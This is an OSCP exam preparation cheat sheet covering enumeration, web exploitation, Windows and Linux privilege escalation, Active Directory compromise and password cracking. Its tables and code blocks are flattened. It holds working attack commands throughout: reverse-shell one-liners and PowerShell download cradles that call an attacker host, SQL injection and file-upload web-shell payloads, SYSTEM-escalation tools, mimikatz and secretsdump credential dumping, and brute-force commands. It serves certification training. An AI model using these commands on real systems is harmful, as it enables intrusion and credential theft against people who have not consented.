Version: 1.0 | Last Updated: January 2026 | Purpose: Structured exam preparation guide
- Exam Structure Overview
- Initial Enumeration Methodology
- Port-Specific Attack Flows
- Gaining Initial Access
- Windows Privilege Escalation
- Linux Privilege Escalation
- Active Directory Exploitation
- Password Cracking
- Exam Documentation & Mindset
- Quick Reference
The OSCP exam consists of three standalone machines and one multi-machine Active Directory environment. Success requires methodical enumeration, understanding attack chains, and documented decision-making.
| Machine Type | Count | Key Focus |
|---|---|---|
| Standalone Machines | 3 | Initial access, privilege escalation, documentation |
| AD Environment | 1 complete domain | Lateral movement, trust exploitation, privilege escalation |
- Enumerate EVERYTHING before jumping to exploitation
- Document all findings with timestamps and rationale
- High-access ports first: RDP, SSH, WinRM, Databases
| Command | Purpose |
|---|---|
autorecon <ip> |
Complete TCP/UDP scan with service detection (best tool) |
nmap -sC -sV -A -T4 -Pn -o output.nmap <ip> |
Comprehensive aggressive scan with scripts |
nmap -sC -A -p<port> <ip> |
Deep dive on specific port |
nmap -sU -p161 --script snmp* <ip> |
UDP enumeration (SNMP on 161) |
- Always search for version exploits: e.g.,
vsftpd 3.0.2 - Use SearchSploit and Google for POCs
Initial Access Vector:
- Check anonymous login (user:
anonymous, pass:anonymous) - Use passive mode if
lsfails:type passive - Download files:
mget * - Check file metadata:
exiftool -u -a <file> - Upload shell:
put shell.php - FTP 3.0+ typically not exploitable
Tools:
nmap --script=ftp-* -p 21 $ip
ftp anonymous@ipEnumeration Only (Initial Access via Other Ports)
- Attempt credentials from other sources
- Look for SSH keys via LFI:
../../../../home/user/.ssh/id_rsa - Login:
ssh -i id_rsa -p 2222 user@ip - Check
~/.ssh/authorized_keysfor additional access
User Enumeration & Phishing
- Enumerate users:
nmap --script=smtp* -p 25 <ip> - Telnet login:
telnet <ip> 25 - Check for open relay (can send phishing emails)
Domain & Subdomain Discovery
- Zone transfer:
dig @<ip> <domain> axfr - Reverse lookup:
nslookup <ip> - Enumerate subdomains:
dnsenum <domain>
Web Application Reconnaissance
- Scan with:
nmap -sC -sV -A -p 80,443,8080 <ip> - Content discovery:
gobuster dir -u http://<ip> -w /path/wordlist - Screenshot homepage for visual clues
- Check source code,
robots.txt,sitemap.xml - Look for CMS (WordPress, Joomla, Drupal, etc.)
| Vulnerability | Exploitation Method |
|---|---|
| SQL Injection | Manual testing → SQLMap → Command execution |
| LFI/RFI | ../../../../etc/passwd → SSH keys → RCE |
| File Upload | Change MIME type → Add shell payload |
| RCE | Execute reverse shell |
| CMS Exploit | Check version → Google exploit → WPScan/droopescan |
| CMS | Enumeration Command |
|---|---|
| WordPress | wpscan --url http://target --enumerate u |
| Drupal | droopescan scan drupal -u http://target -t 32 |
| Joomla | Check /administrator → configuration.php |
| Elastix | Check /vtigercrm/ default admin:admin |
Share Enumeration & Guest Access
- Enumerate shares:
enum4linux -a <ip>(best tool) - Check public shares:
smbmap -H <ip> - List specific folder:
smbmap -H <ip> -R directory - Connect with creds:
smbclient //ip/share -U user -p password - Check for write access (W) → upload shell
- Scan for vulnerabilities:
nmap -script smb-vuln* -p 139,445 <ip>
Commands:
nmap -v -script smb-vuln* -p 139,445 10.10.10.10
enum4linux -a 192.168.10.10
smbmap -H 192.168.10.10 -R tmp
smbclient -p 4455 //192.168.10.10/scripts -U noman --password noman1234Remote Desktop Access
- Brute force (if credentials not found):
hydra -t 4 -l admin -P rockyou.txt rdp://<ip> - Login with credentials:
xfreerdp /v:<ip> /u:admin /p:password /workarea /smart-sizing - Alternative:
rdesktop <ip>
| Task | Command |
|---|---|
| Enumerate | nmap -sV -p 3306 --script=mysql* <ip> |
| Login | mysql -u root -p'password' -h <ip> -P 3306 |
| Show databases | show databases; |
| List users | SELECT user FROM mysql.user; |
| Execute command | Use UDF or file write to get RCE |
| Task | Command |
|---|---|
| Enumerate | nmap -sV -p 1433 --script ms-sql-info <ip> |
| Login | impacket-mssqlclient user:pass@<ip> |
| Windows auth | impacket-mssqlclient admin:'pass'@<ip> -windows-auth |
| List databases | SELECT name FROM sys.databases; |
| Enable xp_cmdshell | EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; |
| Execute command | exec xp_cmdshell 'whoami'; |
Database Enumeration
- Connect:
psql -U postgres -p 5432 -h <ip> - List databases:
SELECT datname FROM pg_database; - Read files:
SELECT pg_ls_dir('/etc/'); - RCE (if enabled):
COPY (SELECT command output) TO '/tmp/file';
Network Enumeration
- Scan:
nmap -sU -p 161 --script snmp* <ip> - Walk OID tree:
snmpwalk -v 1 -c public <ip> - Often returns: usernames, passwords, system info
- Login with credentials found:
evil-winrm -i <ip> -u user -p pass
- Default credentials (check service documentation)
- Known version exploits (SearchSploit → POC)
- Web vulnerabilities (SQLi, LFI, file upload, RCE)
- Credential brute force (Hydra)
SQLi to RCE:
- Test basic:
admin'#ora' or 1=1# - Use UNION SELECT:
' UNION SELECT null,null,username,password FROM users-- - MySQL to file:
' UNION SELECT '' INTO OUTFILE '/path/shell.php'-- - MSSQL xp_cmdshell:
execute sp_configure 'xp_cmdshell', 1; - Database → Code execution → Reverse shell
Tools:
sqlmap -u "http://target/login" --data="user=admin&pass=admin" -p pass
sqlmap -u "http://target/login" --data="user=admin&pass=admin" -p pass --os-shellBypass & Exploit:
- Test direct upload of
.phpshell - If blocked: change MIME type (
image/jpeg) - Add image header:
GIF89aor JPEG magic bytes - Use polyglot: add shell code to EXIF metadata
- Try extensions:
.php3,.php5,.phtml,.php.jpg - Access shell:
/uploads/shell.php?cmd=id
Example:
exiftool "-comment<=shell.php" image.png
# Rename to image.php.png or bypass extension filtersPath Traversal Exploitation:
- Test LFI:
../../../../etc/passwd - Extract SSH keys:
../../../../home/user/.ssh/id_rsa - Encode if needed: URL encode (
../=%2e%2e%2f) - Use private key:
ssh -i id_rsa user@ip - Alternative: Include log files to execute code via log poisoning
Example:
curl "http://target/index.php?page=../../../../../../../../../home/user/.ssh/id_rsa"
# Save and use: chmod 600 id_rsa && ssh -i id_rsa user@targetAlways use: https://www.revshells.com/ or https://pentestmonkey.net/
| Shell Type | Payload (Example) |
|---|---|
| Bash | bash -i >& /dev/tcp/LHOST/LPORT 0>&1 |
| Python | python -c 'import socket...' or python3 -c... |
| PowerShell | powershell -c 'IEX(New-Object Net.WebClient).DownloadString(...)' |
| nc | nc LHOST LPORT -e /bin/bash |
| URL encoded | https://www.revshells.com/ (use this tool!) |
Structured Enumeration Approach:
whoami /all(check if SeImpersonate or SeDebug enabled)- Run
PowerUp.ps1(find unquoted paths, service issues, file permissions) - Run
WinPEAS(finds plaintext passwords, services, scheduled tasks) - Manual check: Windows logs, documents, executables, PDFs, registry
Download & Execute:
certutil.exe -urlcache -split -f http://LHOST/PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecksDownload & Execute:
certutil.exe -urlcache -split -f http://LHOST:8080/winPEASx64.exe
.\winPEASx64.exe- Finds plaintext passwords (critical!)
- Reports services, scheduled tasks, registry misconfigurations
PrintSpoofer Exploitation:
whoami /priv # if SeImpersonate enabled
curl LHOST/PrintSpoofer64.exe -o pr.exe
.\pr.exe -i -c cmd
# Now running as SYSTEMGodPotato Alternative:
curl LHOST:8081/GodPotato-NET2.exe -o god.exe
.\god.exe -cmd "cmd /c whoami"
.\god.exe -cmd "cmd /c nc.exe LHOST LPORT -e powershell"Critical Locations:
C:\drive root files- Documents folder
- PowerShell history:
Get-Historyor(Get-PSReadlineOption).HistorySavePath - Registry (VNC):
reg query 'HKLM\SOFTWARE\RealVNC'(stores passwords) - Unattended.xml:
dir /s unattended.xml sysprep.inf 2>nul - Config files:
find C:\ -name *.ini -o *.txt
Commands:
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include .txt,.ini -File -Recurse -ErrorAction SilentlyContinue | type
Get-ChildItem -Path C:\Users\dave\ -Include .txt,.pdf,.xls,.xlsx,.doc,.docx -File -Recurse
Get-HistoryExploitation:
Get-UnquotedService # PowerUp
icacls 'C:\Program Files\service' # Check permissions
# If writable: upload msfvenom shell to C:\Program Files\Service Name.exe
net start service # triggers binary executionExploitation:
# Find service that loads DLL from writable path
msfvenom -p windows/shell_reverse_tcp -f dll -o evil.dll
# Place in path where service looks for DLL
net start service # loads malicious DLL as SYSTEMExploitation:
schtasks /query /fo LIST /v # find scheduled tasks
icacls path/to/task.exe # Check file permissions
# If writable: replace with reverse shell
# Wait for task execution or trigger manuallyStrategy:
systeminfo | findstr OS(get Windows version)- Run:
wmic qfe list(show patches) - Google:
'Windows <version> EOP exploit' - Use ExploitDB or SearchSploit to find POC
- Compile & execute, catch reverse shell as SYSTEM
python3 -c 'import pty; pty.spawn(["/bin/bash", "--rcfile", "/etc/bash.bashrc"])'- Run
LinPEAS.sh(automated tool) - Check sudo privileges
- Look for SUID binaries
- Check capabilities
- Examine cron jobs
- Search for plaintext passwords
LinPEAS Setup:
python -m http.server 80 # on attacker machine
wget http://LHOST/linpeas.sh -o linpeas.sh # on target
chmod +x linpeas.sh && ./linpeas.sh # execute
./linpeas.sh | tee output.txt # save outputExploitation:
sudo -l # list allowed commands
# Check GTFOBins.github.io for command abuse
# Example: sudo vim → :!/bin/bashDiscovery & Exploitation:
find / -perm -u=s -type f 2>/dev/null # find SUID binaries
strings binary # look for calls to system functions
# Check GTFOBins for exploitation methodsExploitation:
getcap -r / 2>/dev/null # find capabilities
# Look for: cap_setuid+ep (can change UID)
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'Wildcard Attacks:
cat /etc/crontab # find scheduled tasks
grep CRON /var/log/syslog # check logs
# If job uses: tar cf archive.tar * (wildcard vulnerable)
# Create: --checkpoint=1 --checkpoint-action=exec=/bin/bash
# When cron runs tar, executes our command as rootCommon Locations:
cat .bashrc .bash_history # shell history
find / -name '*.txt' -o '*.log' 2>/dev/null # config files
grep -r 'password' /home/ 2>/dev/null
# Check backup files: *.bak, *.old, *.backup
# Database configs: /etc/mysql/, /etc/postgres/Strategy:
uname -a # get kernel version
# Google: 'Linux <kernel> EOP exploit'
# SearchSploit for POC code
gcc -o exploit exploit.c && ./exploitAD exam consists of: Machine01 (standalone), Machine02 (domain member), Domain01 (domain controller). Must chain privilege escalation → lateral movement → domain compromise.
Local Enumeration:
net user /domain
net group /domain
whoami /all
ipconfig /allPrivilege Escalation:
- Use
PowerUp.ps1,WinPEAS, token impersonation - Goal: Get SYSTEM or Administrator access
SharpHound Collection:
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
# Transfer bloodhound.zip back to attacker machine
# Analyze in BloodHound GUI for attack pathsDump Domain Credentials:
python3 ./secretsdump.py ./administrator:'Password123'@192.168.10.10- Extracts: NTLM hashes, Kerberos keys
- Provides all domain user hashes (for Pass-The-Hash)
- Look for plaintext passwords in sam dump
Extract Credentials from Memory:
privilege::debug
token::elevate
sekurlsa::logonpasswords # dump plaintext passwords
lsadump::sam # dump local SAM hashesOption A: SSH SOCKS Proxy
ssh -D 8001 -C -q -N user@Machine01IP
# Edit /etc/proxychains4.conf: socks5 127.0.0.1 8001
proxychains nmap -sT -p 22,445,88 Machine02IPOption B: Chisel Reverse Proxy
./chisel server -p 5555 --reverse # attacker
certutil -urlcache -split -f http://AttackerIP/chisel-x64.exe # Machine01
chisel client AttackerIP:5555 R:socks # Machine01
proxychains python3 impacket-GetNPUsers # attackerWindows-side with Rubeus:
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Transfer hashes to attackerhashcat -m 13100 hashes.txt rockyou.txtLinux-side with GetUserSPNs.py:
proxychains python3 impacket-GetNPUsers oscp.exam/ -dc-ip Machine02IP
hashcat -m 18200 hashes.txt rockyou.txtPost-Exploitation:
# If SQL:
proxychains impacket-mssqlclient user:pass@ip
# If SMB/WinRM:
psexec.py domain/user:pass@ip
evil-winrm -i ip -u admin -p passwordGoal: Get shell as domain user or SYSTEM
Final Exploitation:
psexec.py domain/user:pass@DCip # get admin shell
evil-winrm -i DCip -u admin -p pass
secretsdump.py domain/user:pass@DCip # dump entire domain DB (ntds.dit)| Tool | Command |
|---|---|
| hash-identifier | hash-identifier (interactive, for simple hashes) |
| hashid | hashid '$2y$10$...' (for bcrypt, scrypt, etc.) |
| Name-that-hash | nth -t '$2y$10$...' (comprehensive online tool) |
| Hash Type | Command |
|---|---|
| MD5 | john hash.txt --format=md5crypt |
| SSH Key | ssh2john id_rsa > ssh.hash && john ssh.hash |
| ZIP | zip2john file.zip > zip.hash && john zip.hash |
| Zip direct | fcrackzip -u -D -p rockyou.txt file.zip |
| Hash Mode | Command |
|---|---|
| NTLM (1000) | hashcat -m 1000 hash.txt rockyou.txt |
| Kerberoast (13100) | hashcat -m 13100 hashes.txt rockyou.txt |
| ASREP (18200) | hashcat -m 18200 hashes.txt rockyou.txt |
| With rules | hashcat -m 1000 hash.txt rockyou.txt -r best64.rule |
| Show mode numbers | hashcat --help | grep -i 'ntlm' |
| Service | Command |
|---|---|
| SSH | hydra -l user -P rockyou.txt -s 2222 ssh://192.168.10.10 |
| HTTP POST | hydra -l user -P rockyou.txt 192.168.10.10 http-post |
| Custom form | hydra -l user -P rockyou.txt 192.168.10.10 http-post-form '/index.php:user=^USER^&pass=^PASS^:Invalid' |
| RDP | hydra -t 4 -l admin -P rockyou.txt rdp://192.168.10.10 |
Tailor rockyou.txt:
head -1000 rockyou.txt > demo.txt # Extract top N passwords
sed -i '/^1/d' demo.txt # Remove passwords starting with 1
echo '$1' > demo.rule # Add prefix/suffix
hashcat -r demo.rule --stdout demo.txt- ✓ Screenshot of shell access with machine name visible
- ✓ "whoami" output showing SYSTEM/root privilege
- ✓ Path to root.txt or flag file
- ✓ Write-up explaining METHODOLOGY (not just commands)
- ✓ Screenshots of key enumeration findings
| Phase | Suggested Time |
|---|---|
| Recon (all 4 machines) | 4-5 hours |
| Initial Access (per machine) | 1-2 hours |
| Privilege Escalation | 2-3 hours |
| Documentation | 3-4 hours |
| Buffer/troubleshooting | 3+ hours |
- Restart enumeration from scratch (missed port? Missed service?)
- Google service name + version + exploit
- Check GTFOBins (Linux) or LOLBins (Windows) for privilege escalation
- Look for plaintext passwords in files/memory
- Try different machines (AD attack path might be clearer)
- Enumeration > Exploitation. Slow down, be thorough.
- Understand WHY each attack works, not just HOW to run it.
- Document decision-making: Why did you try X? What did you find?
- High-value targets first: If you can see RDP/SSH/SQL, try those first.
- Default credentials work more often than you think.
# Linux to Windows
certutil.exe -urlcache -split -f http://LHOST/file.exe
iwr -uri http://LHOST/file.ps1 -Outfile file.ps1
curl http://LHOST/file -o file
# Attacker HTTP server
python3 -m http.server 80# Bash
bash -i >& /dev/tcp/LHOST/LPORT 0>&1
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# PowerShell
powershell -c 'IEX(New-Object Net.WebClient).DownloadString("http://LHOST/shell.ps1")'# Netcat
nc -lvnp LPORT
# Metasploit
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 0.0.0.0
set LPORT LPORT
exploit -jwhoami /all
systeminfo | findstr /B OS
wmic qfe list
net user /domain
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllCheckspython3 -c 'import pty; pty.spawn(["/bin/bash", "--rcfile", "/etc/bash.bashrc"])'
sudo -l
find / -perm -u=s -type f 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
./linpeas.shnet user /domain
proxychains python3 impacket-GetNPUsers oscp.exam/ -dc-ip IP
secretsdump.py domain/user:pass@IP
psexec.py domain/user:pass@IP
evil-winrm -i IP -u admin -p password- Reverse Shells: https://www.revshells.com/ | https://pentestmonkey.net/
- GTFOBins: https://gtfobins.github.io/
- LOLBins (Windows): https://lolbas-project.github.io/
- SearchSploit:
searchsploit <service> - ExploitDB: https://www.exploitdb.com/
- rockyou.txt:
/usr/share/wordlists/rockyou.txt - SecLists: https://github.com/danielmiessler/SecLists
- Extract wordlist from text:
cat file.txt | grep -oE '\w+' | sort -u > wordlist.txt - Start simple HTTP server:
python3 -m http.server 80 - Start SMB server:
impacket-smbserver share /tmp
Last Updated: January 2026
Status: Active use during OSCP exam preparation